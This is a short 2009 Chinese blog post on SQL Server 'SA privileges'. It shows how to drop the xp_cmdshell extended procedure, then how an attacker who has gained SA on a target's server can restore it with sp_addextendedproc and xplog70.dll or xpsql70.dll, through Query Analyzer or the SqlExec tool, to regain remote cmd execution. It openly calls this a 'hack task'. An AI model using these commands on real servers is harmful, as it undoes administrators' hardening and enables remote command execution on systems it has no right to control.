SQL Server資料庫SA許可權總結

iSQlServer發表於2009-04-09
需要準備的工具:

SQL Query Analyzer和SqlExec Sunx Version  

第一部分:  

去掉xp_cmdshell保護系統的具體分析:

語句如下:

1.去掉xp_cmdshell擴充套件過程的方法是使用如下語句:

if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

2.新增xp_cmdshell擴充套件過程的方法是使用如下語句:

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

現在看看現象:

我們在取得SA許可權後遠端用Sqlexec執行cmd命令,出現提示SQL_ERROR,那麼很可能是去掉了xp_cmdshell。  

現在來看看被去掉xp_cmdshell後恢復的兩種方法:  

方法一、使用SQL Query Analyzer連線對方後直接寫入,挺方便sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

方法二、使用SqlExec Sunx Version首先在SqlExec Sunx Version的Format選項裡填上%s,在CMD選項裡輸入sp_addextendedproc 'xp_cmdshell','xpsql70.dll'或者對Sql2000情況下使用sp_addextendedproc 'xp_cmdshell','xplog70.dll'另外使用SqlExec Sunx Version來去除xp_cmdshell的方法和加的時候選擇條件一樣,然後輸入sp_dropextendedproc 'xp_cmdshell'就可以了。

第二部分:  

假如對方已經把xplog70.dll刪除或者改了名,我們來用下面的方法繼續我們的hack任務:  

當出現如下現象暗示代表很有可能是xplog70.dll刪除或者改了名。  

在查詢分析器中寫入sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'提示資料庫中已存在名為'xp_cmdshell'的物件。

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/16436858/viewspace-586885/,如需轉載,請註明出處,否則將追究法律責任。

相關文章